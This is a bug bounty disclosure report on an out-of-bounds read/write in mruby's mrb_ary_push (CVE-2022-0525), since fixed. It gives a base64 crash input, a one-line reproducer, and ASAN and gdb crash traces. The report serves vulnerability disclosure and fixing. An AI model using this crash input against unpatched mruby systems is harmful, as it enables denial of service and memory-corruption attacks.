Out-of-bounds Read in mruby/mruby

Valid Reported on Feb 3rd 2022

Description

OOB read and OOB write in mrb_ary_push.
commit : 903c5f978a2966465d8d5c6dfac55a977d134287

Proof of Concept

```
$ echo -ne "bAticjWSUkRPTkxZC2I9e30MWyohMCxtOjAwLG06MF09MXxbKiEwLG0wXQo="

# ASAN
$ ./bin/mruby ./poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1083503==ERROR: AddressSanitizer: SEGV on unknown address 0x60c02621407a
==1083503==The signal is caused by a READ memory access.
    #0 0x7f61ffbded80  /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x8
    #1 0x435d3e in MemcmpInterceptorCommon(void*, int (*)(void const*, voi
    #2 0x4360b9 in __interceptor_memcmp (/home/alkyne/fuzzing/mruby-asan/bi
    #3 0x4d43b1 in read_irep /home/alkyne/fuzzing/mruby-asan/src/load.c:582
    #4 0x4d2aa9 in mrb_proc_read_irep_buf /home/alkyne/fuzzing/mruby-asan/s
    #5 0x4d333d in mrb_load_irep_buf_cxt /home/alkyne/fuzzing/mruby-asan/sr
    #6 0x698007 in mrb_load_detect_file_cxt /home/alkyne/fuzzing/mruby-asar
    #7 0x4cf804 in main /home/alkyne/fuzzing/mruby-asan/mrbgems/mruby-bin-m
    #8 0x7f61ffa7e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/c
    #9 0x41d6ed in _start (/home/alkyne/fuzzing/mruby-asan/bin/mruby+0x41d6

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /build/glibc-eX1tMB/glibc-2.31/string/../sy
==1083503==ABORTING
```

Chat with us

gdb

```
$ gdb ./bin/mruby
gdb-peda$ r poc
Starting program: /home/alkyne/fuzzing/mruby-valgrind/bin/mruby poc

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------
RAX: 0x1
RBX: 0x4c5890 (<__libc_csu_init>:   endbr64)
RCX: 0xa ('\n')
RDX: 0x0
RSI: 0x1
RDI: 0x1
RBP: 0x7fffffffcad0 --> 0x7fffffffde10 --> 0x7fffffffde70 --> 0x7fffffffdec
RSP: 0x7fffffffca60 --> 0x7fffffffcad0 --> 0x7fffffffde10 --> 0x7fffffffde7
RIP: 0x40db4d (<mrb_ary_push+45>:   mov    eax,DWORD PTR [rax+0x10])
R8 : 0x0
R9 : 0x1
R10: 0x4011c4 --> 0x6d797300666f6566 ('feof')
R11: 0x7ffff7c6cbe0 --> 0x57b3d0 --> 0x0
R12: 0x403850 (<_start>:    endbr64)
R13: 0x7fffffffe3b0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction ove
[-------------------------------------code-------------------------------------
   0x40db41 <mrb_ary_push+33>:  mov    rax,QWORD PTR [rbp-0x28]
   0x40db45 <mrb_ary_push+37>:  mov    QWORD PTR [rbp-0x20],rax
   0x40db49 <mrb_ary_push+41>:  mov    rax,QWORD PTR [rbp-0x20]
=> 0x40db4d <mrb_ary_push+45>:  mov    eax,DWORD PTR [rax+0x10]
   0x40db50 <mrb_ary_push+48>:  shr    eax,0xb
   0x40db53 <mrb_ary_push+51>:  and    eax,0x7
   0x40db56 <mrb_ary_push+54>:  cmp    eax,0x0
   0x40db59 <mrb_ary_push+57>:  je     0x40db7a <mrb_ary_push+90>
[-------------------------------------stack-------------------------------------
0000| 0x7fffffffca60 --> 0x7fffffffcad0 --> 0x7fffffffde10
0008| 0x7fffffffca68 --> 0x40f3b3 (<mrb_ary_splat+179>: mov
0016| 0x7fffffffca70 --> 0x700403850
```

Chat with us

```
0024| 0x7fffffffca78 --> 0x41bc40 (<mrb_bob_not>:   push   rbp)
0032| 0x7fffffffca80 --> 0x0
0040| 0x7fffffffca88 --> 0x5396f8 --> 0x545d30 --> 0x545d00 --> 0x5466f0 --
0048| 0x7fffffffca90 --> 0x54aac8 --> 0x100000000
0056| 0x7fffffffca98 --> 0x0
[-------------------------------------------------------------------------
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040db4d in mrb_ary_push (mrb=0x537eb0, ary=..., elem=...) at src
497   mrb_int len = ARY_LEN(a);
gdb-peda$ bt
#0  0x000000000040db4d in mrb_ary_push (mrb=0x537eb0, ary=..., elem=...) at
#1  0x0000000000443cff in mrb_vm_exec (mrb=0x537eb0, proc=0x566f30, pc=0x57
    at src/vm.c:2645
#2  0x000000000043a784 in mrb_vm_run (mrb=0x537eb0, proc=0x566f30, self=...
#3  0x0000000000439761 in mrb_top_run (mrb=0x537eb0, proc=0x566f30, self=..
    at src/vm.c:3051
#4  0x000000000046848f in mrb_load_exec (mrb=0x537eb0, p=0x56e3f0, c=0x56d3
    at mrbgems/mruby-compiler/core/parse.y:6883
#5  0x00000000004687eb in mrb_load_detect_file_cxt (mrb=0x537eb0, fp=0x56d1
    at mrbgems/mruby-compiler/core/parse.y:6926
#6  0x0000000000403dde in main (argc=0x2, argv=0x7fffffffe3b8)
    at mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347
#7  0x00007ffff7aa80b3 in __libc_start_main (main=0x403940 <main>, argc=0x2
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    at ../csu/libc-start.c:308
#8  0x000000000040387e in _start ()
```

CVE
CVE-2022-0525
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
High (8.4)

Visibility
Public

Chat with us

Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 398 times.

We are processing your report and will contact the **mruby** team within 24 hours. 10 months ago

alkyne Choi modified the report 10 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 10 months ago

We have sent a follow up to the **mruby** team. We will try again in 7 days. 10 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro 10 months ago Maintainer

FYI, the smallest reproducing script is `{}[*0,m:0]=1` .

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **0849a2** 10 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

Chat with us

This vulnerability will not receive a CVE ×

Sign in to join this conversation

2022 © 418sec

Chat with us